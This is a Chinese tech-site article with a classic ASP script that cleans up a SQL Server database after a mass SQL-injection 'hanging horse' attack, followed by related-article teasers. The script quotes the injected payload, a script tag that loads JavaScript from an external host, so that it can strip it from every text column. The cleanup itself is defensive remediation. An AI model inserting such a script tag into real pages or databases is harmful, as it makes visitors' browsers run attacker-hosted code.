<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Inc/conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。
'xtype=35 text 用于存储大量文本数据。
'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。
'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据
str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本类型字段后的木马代码
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段类型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")
%>
恢复 SQL 被注入后的数据代码
2021-09-30 16:18数据库技术网 数据库技术
当数据库别批量注入挂马后,需要批量替换掉,可以参考下面的代码。
延伸 · 阅读
- 2022-03-11解决springboot mapper注入报红问题
- 2022-03-09sql语句中union的用法与踩坑记录
- 2022-03-09SQL利用游标遍历日期查询的过程详解
- 2022-03-08SQL删除重复的电子邮箱力扣题目解答流程
- 2022-03-07详解Springboot 注入装配到IOC容器方式
- 2022-03-07SpringBoot属性注入的多种方式实例
- 数据库技术
阿里云服务器怎么拷贝数据库
阿里 云服务器 是一种云计算服务,提供了强大的云服务器资源,让用户可以方便地创建、管理和运行自己的应用程序。拷贝数据库是在服务器迁移、备份...
- 数据库技术
阿里云创建云数据库服务器
阿里云 是中国领先的云计算服务提供商,提供了一系列强大的云计算产品和服务。其中, 阿里云 数据库服务器(ApsaraDB for RDS)是一种托管式的关系型数据...
- 数据库技术
SQL中case when then else end用法实例
一、阐述 case when then else end 可以理解为java的if-else if -else。可以理解为流程控制语句或条件控制语句。可以实现资料获取的时候,可以更多的条件和自定义...
- 数据库技术
如何实现MySQL中修改表结构的语句?
如何实现MySQL中修改表结构的语句? MySQL 是一种流行的关系型数据库管理系统(RDBMS),用于存储和管理大量的数据。在实际的开发过程中,经常需要修改...
- 数据库技术
oracle可以重复索引吗
Oracle不允许重复索引。在Oracle数据库中,创建重复索引是不被允许的,并且会引发错误。 索引是一种用于提高数据库查询性能的数据结构。它们允许快速访...
- 数据库技术
利用MongoDB技术开发中遇到的数据删除问题的解决方案探究
利用MongoDB技术开发中遇到的数据删除问题的解决方案探究 引言: 随着互联网和移动互联网的兴起,数据的管理变得愈发重要。在开发过程中,我们经常需...
- 数据库技术
在将文本文件导入 MySQL 表时,MySQL 如何评估文本文件中写入的两
假设如果文本文件中写入的两行之间有一个空行,那么在将该文本文件导入 MySQL 表时,MySQL 会将其评估为数据行。可以通过以下示例来理解 - 示例 假设我...
- 数据库技术
sql小计汇总 rollup用法实例分析
rollup在oracle ,sql-server里面都有有。...